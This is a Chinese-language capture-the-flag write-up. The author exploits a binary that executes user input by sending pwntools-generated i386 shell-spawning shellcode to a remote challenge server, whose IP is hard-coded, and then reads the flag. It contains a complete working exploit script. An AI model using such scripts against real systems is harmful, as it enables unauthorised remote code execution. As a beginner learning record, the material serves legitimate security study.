天天看点

通过用shellcode获取shell

通过用shellcode获取shell

题目来源
题目要求:用pwntools生成shellcode进而获取shell权限夺得flag

题目解题大概思路

下载题目文件

在终端运行程序,查看题目文件类型和保护机制

用对应位数的IDA来打开题目文件

看题目的条件和内容

写python文件

运行python文件得到flag

1.终端运行程序,查看题目文件类型和保护机制

运行文件(好像不能输入数据)

通过用shellcode获取shell

度娘一下: 出现段错误简单来说就是访问到了不该访问的内存 这些内存不属于用户态的权限范围

查看文件(checksec保护机制)

通过用shellcode获取shell

2.反汇编分析

把程序拉IDA里面分析,F5一键反汇编

通过用shellcode获取shell

程序先输出“input your shellcode”(应该就是我们运行文件里面那一句)

然后调用read函数

这里是我们可以调用read函数向buf里面写入东西

最后一行 ((void (*)(void))buf)()就是调用了buf的函数(一开始没有认真看这一行导致没有做题的思路)

也就是我们把shellcode写进buf中,程序就会调用我们所写的shellcode

3.编写脚本

要远程攻击服务器,要有相应的ip和端口(可以先进行本地攻击)

通过用shellcode获取shell

编写脚本(还不熟悉,就照葫芦画瓢地打)

通过用shellcode获取shell
#-*- coding: utf-8 -*-
#说明Python源程序文件用使用的编码类型改为UTF-8的类型

from pwn import *
#导入pwntools

context(log_level='debug',os='linux',arch='i386')

p = process("./shellcode")
#载入程序

p = remote("49.234.71.236",28228)
#链接远程服务器

shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode

p.recvuntil("shellcode\n")
#接收程序显示出来的字符串,直至运行到read函数

p.sendline(shellcode)
#向程序输入一行数据(shellcode)

p.interactive()
#将程序控制权交给用户,相当于自用运行
           

4.运行脚本

在终端用python运行我们写好的脚本

通过用shellcode获取shell

获取了shell的权限后,用ls列出所有目录,再用cat flag来夺旗

通过用shellcode获取shell

把flag输入,就成功了,感动QAQ

总结

1.checksec保护机制

2.用pwntools生成shellcode

3.read函数可以为我们往buf写入数据,同时运行了buf,我们把shellcode写进buf,程序会帮我们调用shellcode

4.对recvuntil函数的使用

5.用remote函数链接远端服务器

继续阅读